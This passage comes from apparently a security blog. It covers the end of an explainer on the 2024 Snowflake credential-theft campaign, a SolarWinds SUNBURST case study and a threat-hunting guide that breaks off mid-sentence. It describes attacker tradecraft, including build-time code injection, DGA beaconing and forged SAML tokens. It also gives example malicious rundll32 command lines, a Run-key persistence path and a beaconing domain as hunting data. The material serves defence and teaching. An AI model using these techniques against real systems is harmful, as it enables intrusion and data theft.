network allowlist is the control that saves you when a credential is already gone, because a valid password from an unexpected address still fails. - Data warehouses are the highest-value single target in most estates: everything is joined, cleaned and in one place by design. - Providers responded by making strong authentication enforceable and then default, which is the durable fix, since defaults determine what most tenants actually run. - Attribution to a tracked cluster is a vendor assessment. What matters defensively is the technique, which is ordinary credential reuse. ### FAQ **Q: Was Snowflake breached in 2024?** No. Investigations by Mandiant and Snowflake concluded that the activity resulted from attackers signing in to individual customer tenants using valid credentials stolen from other systems, rather than from a compromise of Snowflake's own platform. The distinction matters because the remediation was on the customer side: enable multi-factor authentication, restrict network access, and rotate credentials. **Q: Where did the credentials come from?** Primarily from infostealer malware. Mandiant reported that the credentials had been exposed by a range of infostealer families and that some dated as far back as 2020. Many were taken from contractor or personal machines used to access customer environments, so the affected organisations' own networks were never touched. **Q: Why did MFA not stop it?** Because it was not enabled on the affected accounts. Mandiant reported that the impacted accounts were not configured with multi-factor authentication, so a valid username and password were sufficient to authenticate. Many of the accounts were service or machine identities, which is where MFA is most often skipped for operational convenience. **Q: How many organisations were affected?** Mandiant and Snowflake notified approximately 165 potentially exposed organisations. Several large companies subsequently disclosed data theft connected to the campaign, and the total number of individuals affected across those disclosures ran into the hundreds of millions, with figures continuing to move as notifications completed. **Q: What is the lesson for other SaaS platforms?** That the same conditions exist in most of them. Any platform where a customer tenant can be reached with a password alone, where service accounts are exempt from strong authentication, and where credentials are never rotated, has this exposure. The controls are identical: enforce phishing-resistant or at minimum multi-factor authentication for every identity including machine ones, restrict access by network where the platform allows it, and rotate on a schedule. **Q: How should credentials stolen years ago still work?** Because nothing forces them to expire. A password with no rotation policy, on an account nobody audits, remains valid indefinitely. That is the specific failure this campaign exploited: the theft happened long before the intrusion, and the gap between the two was entirely under the victim's control. In mid-2024 a series of very large data thefts were reported at well-known companies, all of them connected to the same cloud data warehouse platform. The obvious inference was that the platform had been breached. It had not. The attacker logged in, to each customer's own tenant, with a username and password that worked. The passwords had been stolen earlier by commodity malware running on other machines, some of them years before, and nobody had changed them. The accounts had no second factor and no restriction on where they could be used from. This is the least sophisticated incident in this series and arguably the most useful, because the conditions that made it possible are present in most organisations right now. ## Timeline | Date | Event | |---|---| | 2020 onward | Credentials for various organisations are captured by infostealer malware and circulate | | April to May 2024 | Access to customer tenants using those credentials. Data is exfiltrated | | May 2024 | Mandiant contacts Snowflake and victim notification begins | | June 2024 | Mandiant publishes analysis of the campaign, tracked as UNC5537. Approximately 165 organisations are notified | | Mid to late 2024 | Affected companies disclose individually. Extortion and public leak attempts follow | | Late 2024 onward | Snowflake makes multi-factor authentication enforceable by policy and moves toward it by default for new accounts | ## The mechanism There is very little to describe, which is the point. **Credentials from infostealer logs.** Mandiant reported that the credentials came primarily from infostealer malware, across several families, with some dating back to 2020. That malware typically runs on a personal or contractor machine, harvests stored browser passwords, session cookies and password manager data, and the results are sold in bulk. [What Is an Infostealer](/what-is-an-infostealer) covers the market. Crucially, many of these credentials were taken from systems outside the victim organisations entirely. A contractor's own laptop, infected at home, held credentials to a customer's data warehouse. Nothing on the customer's network was compromised, no alert fired anywhere, and there was no intrusion to detect until somebody used the password. **No multi-factor authentication.** The affected accounts did not have it enabled. A username and password authenticated successfully. **No network restriction.** The platform supports network policies limiting which addresses may connect. The affected tenants had none, so an authentication attempt from a commercial VPN address was accepted the same as one from the corporate office. **Bulk export, then extortion.** With a valid session to a data warehouse, the attacker ran queries and exported. Extortion followed, with data offered for sale and victims named publicly. ## Why the target was well chosen A data warehouse is where an organisation puts everything it knows, deliberately joined and cleaned so that it can be queried. That is the whole value proposition and it creates a single point of catastrophic exposure. Data that is scattered across a dozen operational systems, each with its own access control, becomes one queryable estate. An attacker with one valid login does not need to move laterally, escalate privileges or find a database server. They run a query. Two consequences worth acting on. Access to the warehouse should be a scrutinised privilege rather than a default for anyone in an analytics role. And the warehouse should not hold raw sensitive fields that nobody's analysis actually needs, which is the minimisation argument in [What Is DLP](/what-is-dlp) applied upstream. ## Shared responsibility, demonstrated This incident is the cleanest available illustration of where the line falls. **The provider's side** was working. The platform was not compromised, its infrastructure was not breached, and its authentication system correctly authenticated the credentials it was given. **The customer's side** was the exposure. Whether MFA is required on a tenant is a customer setting. Whether a network policy restricts access is a customer setting. Whether credentials get rotated is a customer process. Whether a contractor's personal laptop is used to access production data is a customer decision. Every organisation affected had the ability to prevent this and had not exercised it. That is not a comfortable finding and it is the accurate one, and the same structure is described in [Cloud Security Fundamentals](/cloud-security-fundamentals) and [Cloud Misconfigurations](/cloud-misconfigurations-guide). There is a fair counter-argument about defaults, and the industry accepted it. Providers moved to make strong authentication enforceable by policy and then default, because a security control that every customer must remember to enable is a control that many customers will not have enabled. **Defaults determine what most tenants actually run**, which is why the durable fix here was a product change rather than a hundred and sixty-five separate remediation projects. ## Service accounts, where MFA goes to die The uncomfortable detail underneath this campaign is that many of the identities involved were machine identities: accounts used by ETL pipelines, BI tools and scheduled jobs. Those accounts are usually exempted from MFA, for a real reason. A nightly job cannot approve a push notification. So the exemption is granted, the account gets broad data access because it needs to read everything, and it authenticates with a static password that has never been rotated. That combination, broad access plus no second factor plus a permanent credential, is why service accounts are the highest-value identities in most estates. The answers are in [Privileged Access Management Explained](/privileged-access-management-explained), and specifically: - **Key pair or certificate authentication** instead of passwords for programmatic access, which most platforms support and which is not phishable or replayable from a stolen password store. - **Network policies** restricting where the account may connect from, which is the control that holds even when the credential is gone. - **Short-lived credentials** through workload identity federation where the platform supports it, so there is no static secret to steal. - **Rotation on a schedule**, enforced rather than intended. - **Scoped permissions per job**, rather than one analytics account used by nine pipelines. ## Detection The activity was authenticated and looked like use. What distinguishes it is context rather than content: - **Authentication from an unexpected network**, particularly commercial VPN or hosting provider address space, for an account that has only ever connected from known infrastructure. - **A service account authenticating outside its schedule**, or from a new client type. - **Query volume anomalies**: a bulk export from an account that normally runs small recurring queries. - **A credential from your domain appearing in infostealer output.** Several services monitor for this, and it is one of the few ways to learn that a credential is gone before it is used. All of these are login and query telemetry, which means they depend on the platform's logs reaching somewhere decisions are made, as in [What Is a SIEM](/what-is-a-siem). ## What generalises 1. **A stolen password stays valid until you rotate it.** The theft may have happened on a machine you do not own, years before the intrusion. 2. **MFA everywhere includes machine identities**, using key pairs where a prompt is impossible. 3. **Network policies are the backstop for compromised credentials.** They are frequently available and rarely enabled. 4. **The data warehouse is a crown jewel** by construction, and access to it deserves the scrutiny that implies. 5. **Contractor and personal devices are inside your risk model** whether or not they are inside your management console. 6. **Check the defaults on every SaaS tenant you own**, because the settings that would have prevented this were available and off. ## The verdict No exploit, no vulnerability, no malware on the victims' networks. Valid credentials, stolen elsewhere, used against accounts protected by nothing else. The remediation list is short and every item was available to every affected organisation before the campaign started: require multi-factor or key-based authentication on every identity including service accounts, restrict access by network, rotate credentials on a schedule, and watch for your own credentials appearing in infostealer dumps. It is worth reading that list as a to-do rather than as history, because the conditions it describes are extremely common. ## Related guides - [What Is an Infostealer](/what-is-an-infostealer) - [Cloud Security Fundamentals](/cloud-security-fundamentals) - [Privileged Access Management Explained](/privileged-access-management-explained) - [Cloud Misconfigurations](/cloud-misconfigurations-guide) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) ### Sources - UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion (Mandiant, Google Cloud): https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion - Detecting and Preventing Unauthorized User Access (Snowflake): https://community.snowflake.com/s/article/Communication-ID-0108977-Additional-Information - AWS Shared Responsibility Model (Amazon Web Services): https://aws.amazon.com/compliance/shared-responsibility-model/ - NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - #StopRansomware Guide (CISA): https://www.cisa.gov/resources-tools/resources/stopransomware-guide --- ## SolarWinds and SUNBURST: When the Build System Is the Target > How the SolarWinds Orion compromise worked: SUNSPOT hijacking MSBuild to inject SUNBURST into a signed release, the DGA beacon, forged SAML tokens, and why code signing did not help. - URL: https://blog.pwnsy.com/solarwinds-sunburst-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: solarwinds, supply-chain, incident-analysis, sunburst, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - The attackers compromised the build system rather than the source repository. SUNSPOT watched for MSBuild processes and swapped a source file during compilation, so the backdoor entered the product between the code review and the release. - The result was signed by SolarWinds and shipped through the official update channel. Every integrity control worked correctly on a build that was already malicious. - Affected Orion Platform versions were 2019.4 HF5 through 2020.2.1 HF1, released between March and June 2020. CISA reported roughly 18,000 customers received the trojanised update. - Only a small fraction were selected for follow-on activity. The backdoor lay dormant for up to two weeks, checked its environment, and used a domain generation algorithm before any operator touched a victim. ### Key Takeaways - Code signing proves a build came from a vendor. It says nothing about whether the vendor's build was clean, which is why signing did not stop this. - The gap between reviewed source and shipped binary is the attack surface, and reproducible builds exist to close it by making the binary verifiable against the source. - The malware's tradecraft was aimed at avoiding analysis: a dormancy period of up to two weeks, checks for security tooling, and a blocklist of environments to stay quiet in. - Follow-on activity moved into cloud identity by forging SAML authentication tokens with a stolen signing key, which no password or MFA control detects. - 18,000 downloads and roughly 100 selected targets is the shape of a targeted supply chain operation: mass distribution, selective exploitation. - The US government attributed the activity to Russia's Foreign Intelligence Service in April 2021. Attribution is a government claim, stated here as such. ### FAQ **Q: What was the SolarWinds attack?** A compromise of SolarWinds' software build process that inserted a backdoor, known as SUNBURST or Solorigate, into signed releases of the Orion Platform network monitoring product. Customers installed the update through the normal channel and received the backdoor with it. It was disclosed in December 2020 after the security firm Mandiant, then FireEye, investigated its own compromise and traced it to the Orion software. **Q: Which SolarWinds versions were affected?** Orion Platform versions 2019.4 HF5 through 2020.2.1 HF1, released between March and June 2020. The malicious code lived in a library named SolarWinds.Orion.Core.BusinessLayer.dll, which was part of the legitimate product and carried a valid SolarWinds digital signature. **Q: How did the attackers get the backdoor into a signed release?** With a tool CrowdStrike named SUNSPOT, which ran on a SolarWinds build server. It monitored running processes for MSBuild, determined whether Orion was being compiled, and replaced a source file with a version containing the backdoor for the duration of that build. The original file was restored afterwards. Because the substitution happened during compilation, the source repository stayed clean and the resulting binary was signed by the normal process. **Q: How many organisations were compromised?** CISA reported that around 18,000 customers received the trojanised update. Receiving it is not the same as being attacked: the backdoor was a foothold, and the operators selected a much smaller set, widely reported as roughly a hundred organisations plus several US federal agencies, for hands-on activity. **Q: Why did antivirus and code signing not catch it?** Code signing answers whether a file came from the vendor unaltered, and the answer here was yes, because the malicious build was signed by SolarWinds through their normal process. Endpoint tooling faced a signed component of a trusted monitoring product that legitimately talks to many systems and makes network connections. The backdoor also stayed dormant for up to two weeks and checked for analysis environments before doing anything. **Q: What is Golden SAML and why does it matter here?** Follow-on activity in some victims involved stealing the signing certificate used by an on-premises federation server and using it to mint SAML authentication tokens for arbitrary users, including cloud services. The tokens are valid, so the identity provider accepts them without any password or multi-factor prompt. Detecting it requires watching for tokens that were never issued through a real authentication event, which is why the certificate for a federation service is one of the most sensitive keys an organisation holds. Software supply chain attacks usually mean one of two things: a dependency you pulled in was malicious, or a vendor's source code was tampered with. SolarWinds was neither. The source repository was clean. Developers reviewed clean code, committed clean code, and the code that went into version control stayed clean. The substitution happened during compilation, on the build server, in the window between the last time anyone looked at the source and the moment the compiler produced a binary. The output was then signed by SolarWinds and distributed through the official update channel, because from every system's point of view it was a legitimate release. That is what makes this the reference case. It attacks the one step in the pipeline that nobody was watching, and it defeats code signing by getting in front of it. Facts here come from Mandiant's original analysis, CrowdStrike's technical report on the build-time implant, and CISA's advisories and emergency directive. ## Timeline | Date | Event | |---|---| | September 2019 | Attackers access the SolarWinds environment, per the company's later account | | October 2019 | A test modification is inserted into an Orion build, apparently to prove the technique without a payload | | February 2020 | SUNBURST is injected into Orion builds | | March to June 2020 | Affected versions 2019.4 HF5 through 2020.2.1 HF1 ship to customers | | June 2020 | The attackers remove the implant from the build environment | | 8 December 2020 | FireEye discloses a compromise of its own environment | | 13 December 2020 | The Orion supply chain compromise is disclosed. CISA publishes Emergency Directive 21-01 | | January 2021 | CrowdStrike publishes analysis of SUNSPOT, the build-time tool | | 15 April 2021 | The US government attributes the activity to Russia's Foreign Intelligence Service | | May 2021 | Executive Order 14028 lands, with software supply chain requirements including SBOM | Note the shape: nine months from initial access to shipped backdoor, then six months of distribution, then discovery by a victim rather than by the vendor or by any scanner. ## SUNSPOT: the build-time substitution The implant that did the work never shipped to a customer. It lived on a SolarWinds build server. CrowdStrike's analysis describes it monitoring running processes for `MsBuild.exe`. When it found one, it inspected the command line to determine whether the Orion product was being compiled. If so, it replaced a specific source file with a version containing the backdoor, let the build proceed, and restored the original file afterwards. The consequences of doing it this way are worth spelling out. **Version control stays clean.** Anyone auditing the repository, reviewing commits, or diffing releases against source sees nothing. There is no malicious commit, no suspicious author, no unusual pull request. **The signature is genuine.** The build system signs its output as it always does. The certificate is valid, the signature verifies, and every downstream check passes. [Code Signing Explained](/code-signing-explained) covers what a signature actually asserts, and this is the precise limit of it: a signature attests that a build came from a vendor unaltered since signing. It cannot attest that the vendor's build was clean. **Update channels distribute it.** Customers with good patch hygiene, applying vendor updates promptly, were the ones who received it. Diligence was the delivery mechanism. The defensive answer to this class is reproducible builds: making compilation deterministic so that anyone can rebuild the source and confirm the binary matches, bit for bit. If the shipped artefact does not match a rebuild from reviewed source, something happened in between. That is the only control that would have caught SUNSPOT directly, and it remains rare. ## SUNBURST: what shipped The backdoor lived inside `SolarWinds.Orion.Core.BusinessLayer.dll`, a legitimate component of the product. Its tradecraft was aimed squarely at avoiding detection and analysis: **Dormancy.** After installation it waited up to two weeks before doing anything. Sandbox analysis runs for minutes, and correlation between an installation event and network activity two weeks later is a link almost no one draws. **Environment checks.** It looked for security tooling, analysis processes and specific domains, and stayed inert where it found them. Some environments were excluded from activity entirely. **Blending in.** Orion is network monitoring software. It is expected to talk to many devices and to make outbound connections. A backdoor in that product has cover for behaviour that would be obviously wrong in a calculator. **Domain generation for the first hop.** It resolved subdomains of `avsvmcloud.com`, encoding information about the victim in the subdomain. The DNS response returned a CNAME pointing to the actual command and control domain, so the operators could select targets by choosing which victims got a real answer. [DNS Tunneling Explained](/dns-tunneling-explained) covers the general technique, and [Command and Control Explained](/command-and-control-explained) covers the pattern. That selection step is the operational heart of it. Roughly 18,000 organisations got the backdoor. The operators chose a small fraction, widely reported as around a hundred organisations and several federal agencies, for follow-on activity. Everyone else had a dormant implant and no intrusion. ## Follow-on: forged authentication In the victims chosen for hands-on activity, the second-stage tooling included memory-resident loaders and commodity post-exploitation frameworks. The part with the most lasting lesson is what happened to identity. Attackers with sufficient access stole the signing certificate used by an on-premises federation service and used it to mint SAML tokens for arbitrary users, including for cloud services and email. The technique is commonly called Golden SAML. A forged token is not a stolen password. There is no authentication event to detect, no failed login, no multi-factor prompt to approve or deny, and no credential to rotate. The identity provider receives a correctly signed assertion and honours it, because that is its job. Rotating passwords does nothing. The only remediation is to treat the signing key as compromised and replace it, then invalidate everything issued under it. The general point for anyone running federated identity: **the token signing key is a tier zero secret**, in the sense described in [Privileged Access Management Explained](/privileged-access-management-explained). Anyone who obtains it can be anyone. It belongs with the strictest possible controls, ideally in hardware, and its use belongs under monitoring. ## Why it took a year to find Discovery came from a victim. FireEye investigated its own compromise, found the path led back to Orion, and published. Nothing else was positioned to notice: - The vendor's own reviews looked at source, which was clean. - Signature verification passed, because the signature was real. - Endpoint tooling saw a signed component of a trusted product doing things that product does. - Network monitoring saw DNS lookups to a domain with no reputation problem, from a host that legitimately queries a great deal. - The two-week dormancy broke the temporal link between installation and activity. This is what an intelligence operation looks like when it is executed patiently, and it is a reasonable argument for detection strategies that do not depend on knowing what is bad in advance. [Threat Hunting Guide](/threat-hunting-guide) covers looking for anomalies rather than signatures. ## What changed **Executive Order 14028**, in May 2021, put software supply chain security into US federal procurement, including requirements around software bills of materials. An SBOM would not have caught SUNSPOT, because the backdoor was inside a first-party component rather than a declared dependency, and the broader push toward provenance and attestation traces to this incident. **Build system security became a named discipline.** The idea that a build server is production infrastructure requiring tier zero treatment is now conventional, and it was not before. **Frameworks for supply chain integrity** such as SLSA formalised the levels of assurance a build process can provide, with reproducibility and provenance attestation at the top. **Regulatory attention on disclosure.** The US Securities and Exchange Commission subsequently brought a civil enforcement action against SolarWinds concerning its security disclosures, and much of it was dismissed on the defendants' motion. The episode remains an open question about what companies must say about their security posture rather than a settled precedent. ## What generalises 1. **Signed does not mean safe.** A signature binds an artefact to a vendor and asserts nothing about the vendor's pipeline. 2. **The build system is production.** It has credentials to everything, it produces the artefacts your customers trust, and it is usually less monitored than the systems it deploys to. 3. **The gap between reviewed source and shipped binary is unwatched almost everywhere.** Reproducible builds close it. Almost nobody has them. 4. **Federation signing keys deserve hardware protection**, because their compromise cannot be remediated by any credential rotation. 5. **Mass distribution with selective exploitation** is the shape of this class. Presence of the implant is not evidence of intrusion, and the triage question after any such event is who was chosen rather than who received it. ## Related guides - [Code Signing Explained](/code-signing-explained) - [Command and Control Explained](/command-and-control-explained) - [Threat Hunting Guide](/threat-hunting-guide) - [Privileged Access Management Explained](/privileged-access-management-explained) - [What Is an APT](/what-is-an-apt) ### Sources - Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor (Mandiant, Google Cloud): https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor - SUNSPOT Malware: A Technical Analysis (CrowdStrike): https://www.crowdstrike.com/en-us/blog/sunspot-malware-technical-analysis/ - AA20-352A: Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations (CISA): https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a - ED 21-01: Mitigate SolarWinds Orion Code Compromise (CISA): https://www.cisa.gov/news-events/directives/ed-21-01-mitigate-solarwinds-orion-code-compromise-closed - MAR-10318845-1.v1 SUNBURST (CISA): https://www.cisa.gov/news-events/analysis-reports/ar21-039a - Executive Order 14028: Improving the Nation's Cybersecurity (Federal Register): https://www.federalregister.gov/documents/2021/05/17/2021-10460/improving-the-nations-cybersecurity --- ## How to Threat Hunt: Hypothesis-Driven Hunting, Step by Step > A working method for threat hunting: where hypotheses come from, the data you need before you start, the reduce-and-triage loop, a worked DNS beacon hunt, and how a hunt becomes a detection rule. - URL: https://blog.pwnsy.com/threat-hunting-guide - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: threat-hunting, detection-engineering, threat-intel, blue-team, sysmon, mitre-attack - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works) ### TL;DR - A hunt starts with a falsifiable claim about your environment, such as an implant is beaconing over DNS from a workstation, and ends with that claim confirmed or rejected against real data. - The loop is: state the hypothesis, scope the data and time window, reduce the result set with volume and shape filters, triage what survives, then close with an incident, a detection rule, or a documented negative. - You can only hunt what you can query, so process creation with command lines, DNS queries, authentication events and outbound network flows come before any hunting programme. - Most hunts find nothing malicious and are still worth running, because they surface logging gaps, unmanaged hosts and misconfiguration that no alert would have raised. - A hunt that does not end in a written query, an exclusion list and a tested false-positive rate gets re-run from scratch by the next analyst. ### Key Takeaways - Hunting is proactive: it looks for activity that already evaded the alerting you have, so it assumes the existing detections failed. - Hypotheses come from three places: an attacker technique you have read about, an anomaly in your own baseline, and reasoning backwards from what an attacker would want in your estate. - Reduction is the craft. Stack counting (grouping identical values and reading the rarest) turns millions of events into a few dozen worth a human look. - Volume decides whether a tuned query ships as an alert or stays a scheduled hunt: a few hits a week with a clear responder action can page someone, dozens a month gets reviewed in a batch. - Measure hunts by detections shipped and visibility gaps closed, because counting incidents found punishes the hunts that correctly proved nothing was there. ### FAQ **Q: What is threat hunting?** Threat hunting is the proactive search for attacker activity that existing detections did not alert on. An analyst states a specific, testable claim about the environment (for example, a process is beaconing to an external host on a fixed interval), queries the telemetry that would show it, reduces the results until they are small enough to review by hand, and then either escalates an incident or records that the claim was not supported. It runs on a schedule and a plan rather than on an alert arriving in a queue. **Q: How is threat hunting different from incident response?** Incident response is triggered by a known incident and its goal is containment and recovery. Hunting is triggered by a hypothesis and its goal is discovery. A hunt can start an incident, at which point the response lifecycle takes over. See the incident response guide for the reactive side of that handoff. **Q: Do I need a SIEM to threat hunt?** You need somewhere to query weeks of telemetry at once, which is usually a SIEM or a data lake, though a small estate can be hunted with EDR search, Windows Event Forwarding and PowerShell against exported logs. What matters is retention and completeness. Two days of logs from half the endpoints will not support a hunt whatever the tool costs. **Q: Where do threat hunting hypotheses come from?** Three sources. Intelligence-driven hypotheses come from a technique in an advisory or in MITRE ATT&CK that you want to test your environment against. Baseline-driven hypotheses come from a statistical oddity in your own data, such as a rare parent-child process pair. Crown-jewel hypotheses come from reasoning backwards from what an attacker would target, then asking how they would reach it. **Q: How long should a hunt take?** A scoped hunt with the data already available runs in a day or two. If a hunt is taking a week, the usual cause is that the hypothesis was too broad (look for lateral movement) rather than specific (look for service creation on servers by accounts that have never created a service before). Narrow the claim and the runtime collapses. **Q: What if a hunt finds nothing?** That is the normal outcome and it still has products: a query someone else can rerun, an exclusion list of benign noise, a measured baseline, and usually a list of hosts or log sources that were missing from the data. Write those down. The negative result is only wasted when nobody records what was searched, over what window, and with what coverage. Every alert in your queue represents a detection that worked. Threat hunting is the discipline of going after the intrusions that produced no alert at all, which means it starts from the assumption that the tooling you already bought missed something. That assumption has to be turned into something testable before it becomes work. "Go look for evil" is a mood. "An implant on a workstation is beaconing over DNS TXT records to a domain nobody else in the estate resolves" is a claim you can accept or reject in an afternoon with a query and a time window. This guide is the method for producing claims of the second kind and running them to a conclusion. ## What a hunt actually is A hunt is a scheduled, human-led search through telemetry for attacker activity, structured around a hypothesis and bounded by a data source, a host population and a time window. Three properties define it. **It is proactive.** Nothing triggers it except the plan. That is the whole difference from working the alert queue, and it is why hunting finds dwell time that alerting missed. **It is falsifiable.** The hypothesis has to be phrased so that a specific query result would disprove it. A claim that cannot come back empty cannot come back at all. **It ends in an artifact.** An incident ticket, a detection rule, a tuning change, or a written negative result with the query attached. A hunt that ends in a conversation gets run again from zero next quarter. MITRE's *TTP-Based Hunting* paper frames the same thing as hunting behaviours rather than indicators: hashes and IP addresses rotate cheaply, while the way an attacker executes code, persists and calls home changes slowly because it is bound to how the operating system works. Hunting the behaviour is what makes a hunt survive the attacker changing infrastructure. If your team has telemetry centralised and can run its own queries, you can hunt. The commonly cited maturity ladder runs from an organisation that only consumes vendor alerts, through following other people's hunt procedures, to creating and finally automating its own, which is where [machine learning in security](/ai-in-cybersecurity) starts to matter. Most teams that think they are too immature to hunt are already at the "can run our own queries" rung and have simply never scheduled the time. ## Data comes before hypotheses The fastest way to waste a week is to design an elegant hunt against telemetry you do not collect. Check the shelf before you plan the meal. Five families of telemetry carry almost every hunt worth running: process creation with full command lines, DNS queries, network flow or proxy records, authentication events, and writes to autostart locations. Each one decides which hypotheses you can even state. Without command lines there is no LOLBin hunt; without DNS logs there is no beacon hunt; without flow records there is no interval analysis. Which Windows and Sysmon events supply them, and which auditing is off until you turn it on, is the subject of [Windows event IDs for security](/windows-event-ids-for-security). The one trap worth repeating here: 4688 does not record command lines until you enable it in Group Policy, and a hunt that depends on arguments will return clean results on a fleet that never captured them. Clean results from missing data look exactly like clean results from a clean network. Two coverage questions belong in every hunt plan. **Which hosts are actually reporting?** Compare the distinct host count in your telemetry against your asset inventory before you conclude anything; a hunt across 480 of 610 workstations is a hunt with a 130-machine blind spot. **How far back does the data go?** An intrusion can begin weeks before anyone thinks to look, so a 7-day retention window will happily tell you the environment is quiet. ## Where hypotheses come from Three generators, and a healthy programme uses all three. ### Intelligence-driven You read an advisory or an ATT&CK technique and ask whether the same behaviour exists in your estate. CISA's joint guidance on living-off-the-land techniques (AA24-038A) is a good example of an input that converts directly into hunts, because it describes what the activity looks like in logs. The technique catalogue itself is covered in [the MITRE ATT&CK framework](/mitre-attack-framework-explained); use it as a menu of hypotheses rather than a checklist to work through in order. A good intelligence-driven hypothesis names the technique and the observable together: "T1218.011 rundll32 is being used to execute a DLL from a user-writable path, which would appear in Sysmon 1 as a rundll32 command line containing AppData or Temp." ### Baseline-driven You look at the shape of your own data and hunt the outliers. This is where stack counting earns its keep: group a field, count occurrences, sort ascending, and read the bottom of the list. Rare is a far better starting population than common, and plenty of rare things are benign. ### Crown-jewel driven Start from what an attacker wants (the domain controllers, the code-signing box, the finance file share, the backup server) and work backwards through the access path. "Who has authenticated interactively to the backup server in 90 days, and is every one of those accounts expected?" is a hunt that takes an hour and occasionally ends a career. ## The loop Six steps, in order. The discipline is in doing them in order. 1. **State the hypothesis.** One sentence, naming the behaviour, the population and the evidence that would show it. 2. **Scope.** Data source, host population, time window. Write these down because they define what your negative result actually covers. 3. **Reduce.** Get from millions of events to a set a human can read. Volume thresholds, shape filters, stack counting, then known-good exclusions in that order. 4. **Triage.** Look at what survived, with enough context to explain each row. Every row gets a verdict. 5. **Close out.** Incident, detection rule, tuning change, or documented negative. 6. **Feed back.** Every exclusion you wrote is a fact about your environment. Every gap you hit is a logging ticket. Step 3 is where hunts are won or lost. Excluding your EDR vendor's domains, your backup agent and your patch tool at the top of the query feels efficient and quietly makes those the safest places in your network to hide. Filter on behaviour first, look at the volume of what you are about to exclude, then exclude by exact match with a reason recorded next to each entry. ## A worked hunt: DNS beaconing A worked illustration, with figures chosen to show the arithmetic of the loop rather than taken from a published case. Hypothesis: an implant on a workstation is using DNS to reach its operator, encoding data in subdomain labels and receiving instructions in TXT answers. Population: 480 reporting workstations. Data: Sysmon event 22 (DNS query) plus the internal resolver's query log. Window: 30 days. Which signals separate a tunnel from ordinary resolution, and why each one alone convicts nobody, is the subject of [DNS tunneling](/dns-tunneling-explained). The hunt borrows that signal set and spends its effort on the reduction. The funnel: | Stage | Filter applied | Remaining | |---|---|---| | Raw | Sysmon 22 across 480 hosts, 30 days | 21,437,912 events | | Group | Distinct registrable domains | 61,240 domains | | Volume | More than 200 queries from a single host | 388 domains | | Shape | Mean subdomain label length over 30 characters | 41 domains | | Entropy | Mean Shannon entropy of the label above 3.5 bits per character | 14 domains | | Known-good | Remove vendor telemetry, AV lookup and CDN domains, by exact match | 7 domains | | Triage | Analyst review of the survivors | 1 domain | Six of the seven survivors explained themselves quickly: two email security products doing reputation lookups, one licence-check service, and three subdomains of a SaaS product that encodes a session ID into the hostname. Those went onto the exclusion list with a note. The seventh was `cdn-metrics-sync[.]net`. It appeared only in the final six days of the window and produced 8,203 queries in that time, all from one host (WKS-4471), all TXT, mean label length 52 characters, mean interval 63.2 seconds with roughly 12 percent jitter around it, and answers between 210 and 240 bytes. No other host in the estate had ever resolved it. Three follow-up queries turned that into an incident: - **What made the query?** The Sysmon 22 `Image` field named `C:\Users\j.rahman\AppData\Local\Programs\Notes\notes.exe`, unsigned, in a path no software inventory knew about. - **How did it get there?** Sysmon 1 showed the binary first executing at the start of that six-day run, with `outlook.exe` two links up the parent chain. - **Did it arrange to stay?** Sysmon 13 showed a registry write to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NotesSync` ninety seconds after first execution, which is the standard pattern described in [malware persistence techniques](/malware-persistence-techniques). Interval regularity is the tell that generalises across channels, and why jitter fails to hide it is covered in [command and control](/command-and-control-explained), with the profile-driven version in [Cobalt Strike](/what-is-cobalt-strike). ## Stack counting, the technique behind step 3 The reduction above used domain-level aggregation. The same move applied to process arguments is the single highest-yield hunting technique on Windows, and it needs no threat intelligence at all. Group by a normalised command line, count, sort ascending. Thirty days of `rundll32.exe` executions across the same 480 hosts: | Normalised command line | Hosts | Executions | |---|---|---| | `rundll32.exe shell32.dll,Control_RunDLL ` | 402 | 18,904 | | `rundll32.exe printui.dll,PrintUIEntry ` | 96 | 1,120 | | `rundll32.exe davclnt.dll,DavSetCookie ` | 3 | 6 | | `rundll32.exe C:\Users\\AppData\Local\Temp\ui.dat,Start` | 1 | 2 | The top of that list is the operating system doing its job. The bottom two rows are the hunt. `DavSetCookie` means a WebDAV fetch, which is worth explaining on three machines. A DLL executed from `Temp` with a non-standard extension on exactly one host is the row you open first. Neither required knowing an attacker's infrastructure, only knowing that rarity plus a user-writable path is a combination worth a human minute. Which signed binaries carry that risk, and the tradecraft that abuses them, is [living off the land](/living-off-the-land-explained). Normalisation matters here. Lowercase the path, replace GUIDs, usernames, PIDs and hex strings with placeholders, and strip volatile arguments. Without that, a thousand unique command lines that are really one behaviour will sit at the rare end of your stack and bury the actual outlier. ## Hunting, alert triage, incident response and red teaming These get conflated in job descriptions. They differ in what starts them and what they produce. | | Threat hunting | Alert triage | Incident response | Red teaming | |---|---|---|---|---| | Trigger | A hypothesis on a schedule | A detection firing | A confirmed incident | An engagement scope | | Input | Bulk telemetry | A single alert with context | Everything about one intrusion | Objectives and rules of engagement | | Output | Detections, gaps, occasional incidents | Verdict on that alert | Containment and recovery | A report of what was reachable | | Time frame | Days, planned | Minutes, reactive | Hours to weeks, urgent | Weeks, scheduled | | Success looks like | Better coverage next month | Correct verdicts, fast | Short dwell time, clean recovery | Findings the defenders can act on | The handoff that matters most runs left to right in the first two columns. A 